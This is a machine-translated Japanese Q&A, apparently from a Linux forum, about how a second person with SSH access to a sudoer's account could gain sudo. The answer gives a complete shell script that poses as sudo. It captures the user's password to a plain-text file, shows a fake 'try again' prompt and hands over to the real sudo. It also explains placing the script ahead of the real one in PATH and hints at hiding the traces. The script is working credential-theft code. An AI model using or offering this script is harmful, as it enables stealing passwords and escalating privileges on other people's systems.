sudo パスワードなしで sudo 権限を取得する

sudo パスワードなしで sudo 権限を取得する

背景:Debian Linux。

Aliceはコンピュータにユーザーアカウントを持っています。彼女はsudoerの一人であり、安全なパスワードを持っています。彼女はSSHキーのみを使用してコンピュータにSSHで接続します(パスワードは機能しません)。

一部の管理エラーのため、ボブは別のアカウントを取得するのではなく、同じアカウントへのアクセス権を取得しました。彼のSSHキーがに追加されましたauthorized_keys。ボブはアリスからパスワードを取得できませんでした。

Bobはどのようにsudoを正常に実行しますか?もし、仮定しよう:

  • Bobは、AliceのアカウントへのSSHアクセスに加えて、サーバーへのアクセス権を持っていません。
  • Aliceは定期的に自分のアカウントに接続し、sudoのようなことをします。

アリスの協力がなければ不可能だったと思います。だから私はsudoを最初にパスワードを記録するエイリアスに変えるようなフィッシングやソーシャルエンジニアリング攻撃を探しています。

これは、基本的に(未知の)ユーザー協力の利点が追加された従来のルートアップグレードの問題です。

答え1

過去にはsudoトークンがターミナルセッション全体で有効だったので、アリスの助けなしにこれが可能でした。 BobはAliceが認証するのを待ってから、パスワードを入力せずsudosudo自分自身を使用することができました。

端末固有のトークンを使用しても、Aliceが常に自分の環境を徹底的に確認しない限り、ここで説明されているシナリオでAliceのパスワードを取得するのは比較的簡単です。

  • Aliceのアカウントを使用して、次のようなものを作成~/.bin/sudoします。

    #!/bin/sh
    if [ $# = 0 ]; then exec /usr/bin/sudo; fi
    if [ ! -f ~/.bin/alices-password ]; then
      echo -n "[sudo] password for $USER: "
      read -s password
      echo
      echo ${password} > ~/.bin/alices-password
      sleep 2
      echo "Sorry, try again."
      /usr/bin/sudo -k
    fi
    exec /usr/bin/sudo "$@"
    
  • ~/.binAliceが使用するシェルに応じて適切なrcファイルに追加するパス。

  • Aliceがシェルで使用されるのを待っている間、次sudoの存在が見つかりました。~/.bin/sudo

Bobは、特別なバリエーションを無効にする前にパスワードが表示されるのを待ってから自分で試すことができます~/.bin/alices-password(目立たない方法でこれを行うことは読者にとって練習になります。シェルがパスをキャッシュすることを覚えておいてください。 ..).

上記のスクリプトには、特にsudo -k「申し訳ありません。もう一度お試しください」というフレーズを確認するいくつかの微妙な部分があります。実際に次にパスワードを尋ねますsudo。スクリプトはさらに改善することができます。これは読者のためのもう一つの練習です!

あなたが想像できるように、これは唯一の方法ではありません...

関連情報